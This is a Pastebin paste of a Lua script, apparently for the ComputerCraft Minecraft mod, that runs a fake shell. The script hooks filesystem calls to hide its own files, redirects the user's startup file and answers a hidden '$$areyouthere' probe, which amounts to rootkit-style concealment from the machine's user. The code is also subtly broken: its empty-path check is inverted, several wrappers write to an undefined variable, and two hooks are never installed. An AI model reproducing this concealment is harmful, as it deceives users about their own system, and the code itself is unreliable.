Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- #### Vars
- userStartupPath = "userStartup"
- osName = "fakeOS"
- hiddenPrograms = {osName, "edit"}
- fake = {}
- real = {}
- -- #### "Local" functions
- function getAnEmptyPath()
- while true do
- local dir = tostring(math.random(1, 65535))
- if real.exists(dir) then
- return dir
- end
- end
- end
- function shouldBeHidden(path)
- for i=1, #hiddenPrograms do
- if string.lower(path) == string.lower(hiddenPrograms[i]) then
- return true
- end
- end
- return false
- end
- function writeYellow(text)
- if term.isColor() then
- term.setTextColor(colors.yellow)
- term.write(text)
- term.setTextColor(colors.white)
- else
- term.write(text)
- end
- end
- term.writeYellow = writeYellow
- function splitIntoArgs(str)
- i=0
- arg = {}
- -- %S -> A character that isn't a space
- -- + -> Or more than one
- -- %S+ -> Any group of character not separated by a space
- -- string.gmatch(str, "%S+") : Splits the string when a space is encountered
- for w in string.gmatch(str, "%S+") do
- i=i+1
- arg[i]=w
- end
- if type(arg) == "table" then
- if #arg > 0 then
- return arg
- end
- end
- return false
- end
- -- #### Tweaking compromising functions
- real.list = fs.list
- function fakeList(path)
- list = real.list(path)
- for j=1, #hiddenPrograms do
- for i=1,#list do
- if string.lower(list[i]) == string.lower(hiddenPrograms[j]) then
- table.remove(list, i)
- break
- end
- end
- end
- for i=1,#list do
- if list[i] == userStartupPath then
- list[i] = "startup"
- end
- end
- return list
- end
- fs.list = fakeList
- real.exists = fs.exists
- function fakeExists(path)
- if shouldBeHidden(path) then
- path = getAnEmptyPath()
- end
- if string.lower(path) == "startup" then
- args[i] = userStartupPath
- end
- return real.exists(path)
- end
- fs.exists = fakeExists
- real.isReadOnly = fs.isReadOnly
- function fakeIsReadOnly(path)
- if shouldBeHidden(path) then
- path = getAnEmptyPath()
- end
- if string.lower(path) == "startup" then
- args[i] = userStartupPath
- end
- return real.isReadOnly(path)
- end
- fs.isReadOnly = fakeIsReadOnly
- real.getSize = fs.getSize
- function fakeGetSize(path)
- if shouldBeHidden(path) then
- path = getAnEmptyPath()
- end
- if string.lower(path) == "startup" then
- args[i] = userStartupPath
- end
- return real.getSize(path)
- end
- fs.getSize = fakeGetSize
- real.move = fs.move
- function fakeMove(fromPath, toPath)
- if shouldBeHidden(fromPath) then
- fromPath = getAnEmptyPath()
- end
- if string.lower(fromPath) == "startup" then
- args[i] = userStartupPath
- end
- if shouldBeHidden(toPath) then
- toPath = getAnEmptyPath()
- end
- if string.lower(toPath) == "startup" then
- args[i] = userStartupPath
- end
- return real.move(fromPath, toPath)
- end
- fs.move = fakeMove
- real.copy = fs.copy
- function fakeCopy(fromPath, toPath)
- if shouldBeHidden(fromPath) then
- fromPath = getAnEmptyPath()
- end
- if string.lower(fromPath) == "startup" then
- args[i] = userStartupPath
- end
- if shouldBeHidden(toPath) then
- toPath = getAnEmptyPath()
- end
- if string.lower(toPath) == "startup" then
- args[i] = userStartupPath
- end
- return real.copy(fromPath, toPath)
- end
- fs.copy = fakeCopy
- real.delete = fs.delete
- function fakeDelete(path)
- if shouldBeHidden(path) then
- path = getAnEmptyPath()
- end
- if string.lower(path) == "startup" then
- args[i] = userStartupPath
- end
- return real.delete(path)
- end
- real.open = fs.open
- function fakeOpen(path, mode)
- if shouldBeHidden(path) then
- path = getAnEmptyPath()
- end
- if string.lower(path) == "startup" then
- args[i] = userStartupPath
- end
- return real.open(path, mode)
- end
- -- #### Actual FakeOS
- shell.run("copy", "roms/programs/edit", "edit")
- term.clear()
- term.setCursorPos(1,1)
- term.writeYellow(os.version())
- term.setCursorPos(1,2)
- while true do
- term.writeYellow(shell.dir().."> ")
- input = io.read()
- if input == "$$areyouthere" then
- print("Yes.")
- end
- if type(input) == "string" then
- args = splitIntoArgs(input)
- command = table.remove(args, 1) -- command = args[1] and then it pops off args[1] from the table
- for j=1, #hiddenPrograms do
- for i=1, #args do
- if string.lower(args[i]) == string.lower(hiddenPrograms[j]) then
- command = nil
- end
- end
- end
- for i=1, #args do
- if string.lower(args[i]) == "startup" then
- args[i] = userStartupPath
- end
- end
- if type(command) == "string" then
- shell.run(command, args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10])
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement